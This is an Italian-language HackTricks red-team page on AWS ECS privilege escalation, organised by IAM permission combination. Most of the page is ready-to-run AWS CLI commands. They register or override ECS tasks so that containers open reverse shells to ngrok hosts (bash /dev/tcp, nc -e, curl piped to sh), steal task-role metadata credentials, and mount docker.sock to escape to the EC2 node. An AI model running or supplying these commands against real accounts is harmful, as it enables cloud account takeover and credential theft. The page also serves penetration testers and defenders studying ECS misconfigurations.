AWS - ECS Privesc
Reading time: 11 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
ECS
Maggiori informazioni su ECS in:
iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:RunTask
Un attaccante che sfrutta le permission iam:PassRole
, ecs:RegisterTaskDefinition
e ecs:RunTask
in ECS può generare una nuova task definition con un container malevolo che ruba le metadata credentials e eseguirla.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Potential Impact: Privesc diretto verso un ruolo ECS differente.
iam:PassRole
,ecs:RunTask
Un attacker che ha i permessi iam:PassRole
e ecs:RunTask
può avviare un nuovo ECS task con valori modificati di execution role, task role e command del container. Il comando CLI ecs run-task
contiene il flag --overrides
che permette di cambiare a runtime executionRoleArn
, taskRoleArn
e il command
del container senza toccare la task definition.
I ruoli IAM specificati per taskRoleArn
e executionRoleArn
devono consentire/essere autorizzati ad essere assunti da ecs-tasks.amazonaws.com
nella loro trust policy.
Inoltre, l'attacker deve conoscere:
- ECS cluster name
- VPC Subnet
- Security group (se non viene specificato verrà usato quello di default)
- Task Definition Name and revision
- Name of the Container
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
Nel frammento di codice sopra un attacker sovrascrive solo il valore di taskRoleArn
. Tuttavia, l'attacker deve avere il permesso iam:PassRole
sul taskRoleArn
specificato nel comando e sul executionRoleArn
specificato nella task definition affinché l'attacco possa avvenire.
Se il ruolo IAM che l'attacker può passare ha privilegi sufficienti per scaricare l'immagine ECR e avviare il task ECS (ecr:BatchCheckLayerAvailability
, ecr:GetDownloadUrlForLayer
, ecr:BatchGetImage
, ecr:GetAuthorizationToken
), allora l'attacker può specificare lo stesso ruolo IAM sia per executionRoleArn
che per taskRoleArn
nel comando ecs run-task
.
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
Impatto potenziale: Direct privesc a qualsiasi ECS task role.
iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:StartTask
Proprio come nell'esempio precedente un attacker che abusa dei permessi iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:StartTask
in ECS può generare una nuova task definition con un malicious container che ruba le metadata credentials e eseguirla.
Tuttavia, in questo caso è necessario che sia disponibile una container instance su cui eseguire la task definition malevola.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Potential Impact: privesc diretto su qualsiasi ruolo ECS.
iam:PassRole
, ecs:RegisterTaskDefinition
, (ecs:UpdateService|ecs:CreateService)
Come nell'esempio precedente, un attaccante che abusa dei permessi iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:UpdateService
o ecs:CreateService
in ECS può generare una nuova task definition con un container malevolo che ruba le credenziali dei metadata e eseguirlo creando un nuovo service con almeno 1 task in esecuzione.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
Potenziale impatto: privesc diretto su qualsiasi ECS role.
iam:PassRole
, (ecs:UpdateService|ecs:CreateService)
In realtà, solo con queste autorizzazioni è possibile usare overrides per eseguire comandi arbitrari in un container con un ruolo arbitrario con qualcosa del genere:
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
Potential Impact: Privesc diretto a qualsiasi ruolo ECS.
ecs:RegisterTaskDefinition
, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
Questo scenario è come i precedenti ma senza il permesso iam:PassRole
.
Questo è comunque interessante perché se puoi eseguire un container arbitrario, anche se senza un ruolo, potresti eseguire un container privilegiato per evadere verso il nodo e rubare l'EC2 IAM role e gli altri ruoli dei container ECS in esecuzione sul nodo.
Potresti persino forzare altre task a essere eseguite all'interno dell'istanza EC2 che comprometti per rubare le loro credenziali (come discusso nella Privesc to node section).
warning
Questo attacco è possibile solo se l'ECS cluster usa EC2 e non Fargate.
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json
printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json
aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2
# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
ecs:ExecuteCommand
, ecs:DescribeTasks,
(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
Un attacker con i permessi ecs:ExecuteCommand
, ecs:DescribeTasks
può eseguire comandi all'interno di un container in esecuzione ed esfiltrare l'IAM role ad esso associato (è necessario il permesso di describe perché è richiesto per eseguire aws ecs execute-command
).
Tuttavia, per farlo, l'istanza del container deve eseguire l'ExecuteCommand agent (che di default non lo fa).
Pertanto, l'attacker potrebbe provare a:
- Provare a eseguire un comando in ogni container in esecuzione
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo " Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done
# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
- Se ha
ecs:RunTask
, eseguire un task conaws ecs run-task --enable-execute-command [...]
- Se ha
ecs:StartTask
, eseguire un task conaws ecs start-task --enable-execute-command [...]
- Se ha
ecs:CreateService
, creare un service conaws ecs create-service --enable-execute-command [...]
- Se ha
ecs:UpdateService
, aggiornare un service conaws ecs update-service --enable-execute-command [...]
Puoi trovare esempi di queste opzioni nelle precedenti sezioni ECS privesc.
Potenziale impatto: Privesc a un ruolo diverso associato ai container.
ssm:StartSession
Consulta la ssm privesc page per vedere come puoi abusare di questo permesso per privesc to ECS:
iam:PassRole
, ec2:RunInstances
Consulta la ec2 privesc page per vedere come puoi abusare di questi permessi per privesc to ECS:
ecs:RegisterContainerInstance
, ecs:DeregisterContainerInstance
, ecs:StartTask
, iam:PassRole
Un attacker con questi permessi potrebbe potenzialmente registrare un'istanza EC2 in un cluster ECS ed eseguire task su di essa. Questo potrebbe permettere all'attacker di eseguire codice arbitrario nel contesto dei task ECS.
- TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker??
ecs:CreateTaskSet
, ecs:UpdateServicePrimaryTaskSet
, ecs:DescribeTaskSets
note
TODO: Test this
Un attacker con i permessi ecs:CreateTaskSet
, ecs:UpdateServicePrimaryTaskSet
, e ecs:DescribeTaskSets
può creare un task set malevolo per un servizio ECS esistente e aggiornare il primary task set. Questo consente all'attacker di eseguire codice arbitrario all'interno del servizio.
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json
aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
Impatto potenziale: Eseguire codice arbitrario nel servizio interessato, potenzialmente compromettendone la funzionalità o esfiltrando dati sensibili.
Riferimenti
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.